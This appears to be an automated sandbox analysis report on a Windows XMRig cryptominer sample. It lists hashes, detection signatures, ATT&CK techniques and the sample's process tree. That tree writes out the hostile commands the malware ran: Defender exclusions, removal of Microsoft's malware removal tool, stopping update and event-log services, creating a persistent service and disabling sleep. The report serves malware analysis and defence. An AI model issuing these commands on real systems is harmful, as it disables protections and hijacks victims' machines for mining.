xmrig | c91e36c258c2e36cb476da87ae37f882402d109ee39ffa09d4d6337dc00594d8

Analysis

max time kernel
90s
max time network
120s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
06/09/2024, 01:21

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General

Target

99cec363e75a8f9d9dda3ebac23ac940N.exe
Size

5.4MB
MD5

99cec363e75a8f9d9dda3ebac23ac940
SHA1

f3d3fabcabd6dace2800055966dce8a5cf74606e
SHA256

c91e36c258c2e36cb476da87ae37f882402d109ee39ffa09d4d6337dc00594d8
SHA512

84aaf07831fe50782e7845e30d5fca7f368c11dcf926d7f073fd75b3ffd867e93c6e36c2b77d041a4f8e15cfacfc0a5cdf1bc5b37387b9340a184a62f7e46a73
SSDEEP

98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj

Score

10^/10

xmrig evasion execution miner persistence upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral1/memory/2156-30-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2156-31-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2156-33-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2156-34-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2156-37-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2156-35-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2156-36-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/2156-38-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3044	powershell.exe
2824	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Deletes itself 1 IoCs

pid	Process
2020	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
472	Process not Found
2928	fqwofdtexigy.exe

Loads dropped DLL 1 IoCs

pid	Process
472	Process not Found

UPX packed file 13 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2156-27-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2156-30-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2156-31-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2156-33-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2156-29-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2156-28-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2156-26-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2156-25-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2156-34-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2156-37-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2156-35-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2156-36-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/2156-38-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1996	powercfg.exe
572	powercfg.exe
1608	powercfg.exe
880	powercfg.exe
544	powercfg.exe
2452	powercfg.exe
3060	powercfg.exe
3040	powercfg.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	99cec363e75a8f9d9dda3ebac23ac940N.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	fqwofdtexigy.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2928 set thread context of 2208	2928	fqwofdtexigy.exe	87
PID 2928 set thread context of 2156	2928	fqwofdtexigy.exe	89

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\wusa.lock	wusa.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2304	sc.exe
2756	sc.exe
2652	sc.exe
2200	sc.exe
1728	sc.exe
2360	sc.exe
3000	sc.exe
2328	sc.exe
2592	sc.exe
856	sc.exe
2348	sc.exe
1948	sc.exe
108	sc.exe
1752	sc.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 00851218fbffda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2732	99cec363e75a8f9d9dda3ebac23ac940N.exe
3044	powershell.exe
2732	99cec363e75a8f9d9dda3ebac23ac940N.exe
2732	99cec363e75a8f9d9dda3ebac23ac940N.exe
2732	99cec363e75a8f9d9dda3ebac23ac940N.exe
2732	99cec363e75a8f9d9dda3ebac23ac940N.exe
2732	99cec363e75a8f9d9dda3ebac23ac940N.exe
2732	99cec363e75a8f9d9dda3ebac23ac940N.exe
2732	99cec363e75a8f9d9dda3ebac23ac940N.exe
2732	99cec363e75a8f9d9dda3ebac23ac940N.exe
2732	99cec363e75a8f9d9dda3ebac23ac940N.exe
2732	99cec363e75a8f9d9dda3ebac23ac940N.exe
2732	99cec363e75a8f9d9dda3ebac23ac940N.exe
2732	99cec363e75a8f9d9dda3ebac23ac940N.exe
2732	99cec363e75a8f9d9dda3ebac23ac940N.exe
2732	99cec363e75a8f9d9dda3ebac23ac940N.exe
2732	99cec363e75a8f9d9dda3ebac23ac940N.exe
2928	fqwofdtexigy.exe
2824	powershell.exe
2928	fqwofdtexigy.exe
2928	fqwofdtexigy.exe
2928	fqwofdtexigy.exe
2928	fqwofdtexigy.exe
2928	fqwofdtexigy.exe
2928	fqwofdtexigy.exe
2928	fqwofdtexigy.exe
2928	fqwofdtexigy.exe
2928	fqwofdtexigy.exe
2928	fqwofdtexigy.exe
2928	fqwofdtexigy.exe
2928	fqwofdtexigy.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe
2156	nslookup.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	3044	powershell.exe
Token: SeShutdownPrivilege	572	powercfg.exe
Token: SeShutdownPrivilege	1608	powercfg.exe
Token: SeShutdownPrivilege	880	powercfg.exe
Token: SeShutdownPrivilege	544	powercfg.exe
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeShutdownPrivilege	2452	powercfg.exe
Token: SeShutdownPrivilege	1996	powercfg.exe
Token: SeShutdownPrivilege	3040	powercfg.exe
Token: SeShutdownPrivilege	3060	powercfg.exe
Token: SeLockMemoryPrivilege	2156	nslookup.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 2728 wrote to memory of 2632	2728	cmd.exe	38
PID 2728 wrote to memory of 2632	2728	cmd.exe	38
PID 2728 wrote to memory of 2632	2728	cmd.exe	38
PID 2020 wrote to memory of 2148	2020	cmd.exe	63
PID 2020 wrote to memory of 2148	2020	cmd.exe	63
PID 2020 wrote to memory of 2148	2020	cmd.exe	63
PID 2912 wrote to memory of 3048	2912	cmd.exe	71
PID 2912 wrote to memory of 3048	2912	cmd.exe	71
PID 2912 wrote to memory of 3048	2912	cmd.exe	71
PID 2928 wrote to memory of 2208	2928	fqwofdtexigy.exe	87
PID 2928 wrote to memory of 2208	2928	fqwofdtexigy.exe	87
PID 2928 wrote to memory of 2208	2928	fqwofdtexigy.exe	87
PID 2928 wrote to memory of 2208	2928	fqwofdtexigy.exe	87
PID 2928 wrote to memory of 2208	2928	fqwofdtexigy.exe	87
PID 2928 wrote to memory of 2208	2928	fqwofdtexigy.exe	87
PID 2928 wrote to memory of 2208	2928	fqwofdtexigy.exe	87
PID 2928 wrote to memory of 2208	2928	fqwofdtexigy.exe	87
PID 2928 wrote to memory of 2208	2928	fqwofdtexigy.exe	87
PID 2928 wrote to memory of 2156	2928	fqwofdtexigy.exe	89
PID 2928 wrote to memory of 2156	2928	fqwofdtexigy.exe	89
PID 2928 wrote to memory of 2156	2928	fqwofdtexigy.exe	89
PID 2928 wrote to memory of 2156	2928	fqwofdtexigy.exe	89
PID 2928 wrote to memory of 2156	2928	fqwofdtexigy.exe	89

C:\Users\Admin\AppData\Local\Temp\99cec363e75a8f9d9dda3ebac23ac940N.exe
"C:\Users\Admin\AppData\Local\Temp\99cec363e75a8f9d9dda3ebac23ac940N.exe"
1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2732
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Drops file in Windows directory
    PID:2632
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2756
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2592
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2652
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2200
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2304
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:544
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:880
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1608
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:572
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe delete "JVNIRHNX"
  2⤵
  - Launches sc.exe
  PID:1728
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"
  2⤵
  - Launches sc.exe
  PID:2360
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop eventlog
  2⤵
  - Launches sc.exe
  PID:2348
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe start "JVNIRHNX"
  2⤵
  - Launches sc.exe
  PID:856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\99cec363e75a8f9d9dda3ebac23ac940N.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2020
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2148

C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2928
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2912
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Drops file in Windows directory
    PID:3048
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:3000
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2328
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1948
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:108
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:1752
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1996
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3040
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3060
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2452
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2208
- C:\Windows\system32\nslookup.exe
  nslookup.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2156

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe

Filesize
5.4MB

MD5
99cec363e75a8f9d9dda3ebac23ac940

SHA1
f3d3fabcabd6dace2800055966dce8a5cf74606e

SHA256
c91e36c258c2e36cb476da87ae37f882402d109ee39ffa09d4d6337dc00594d8

SHA512
84aaf07831fe50782e7845e30d5fca7f368c11dcf926d7f073fd75b3ffd867e93c6e36c2b77d041a4f8e15cfacfc0a5cdf1bc5b37387b9340a184a62f7e46a73

Download Submit
memory/2156-35-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2156-26-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2156-27-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2156-37-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2156-34-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2156-38-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2156-25-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2156-36-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2156-28-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2156-29-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2156-33-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2156-32-0x0000000000040000-0x0000000000060000-memory.dmp

Filesize
128KB

Download
memory/2156-31-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2156-30-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2208-16-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2208-20-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2208-17-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2208-18-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2208-19-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2208-23-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2824-15-0x0000000000A20000-0x0000000000A28000-memory.dmp

Filesize
32KB

Download
memory/2824-14-0x0000000019F60000-0x000000001A242000-memory.dmp

Filesize
2.9MB

Download
memory/3044-4-0x000007FEF608E000-0x000007FEF608F000-memory.dmp

Filesize
4KB

Download
memory/3044-9-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download
memory/3044-7-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download
memory/3044-8-0x000007FEF5DD0000-0x000007FEF676D000-memory.dmp

Filesize
9.6MB

Download
memory/3044-6-0x0000000001D40000-0x0000000001D48000-memory.dmp

Filesize
32KB

Download
memory/3044-5-0x000000001B4C0000-0x000000001B7A2000-memory.dmp

Filesize
2.9MB

Download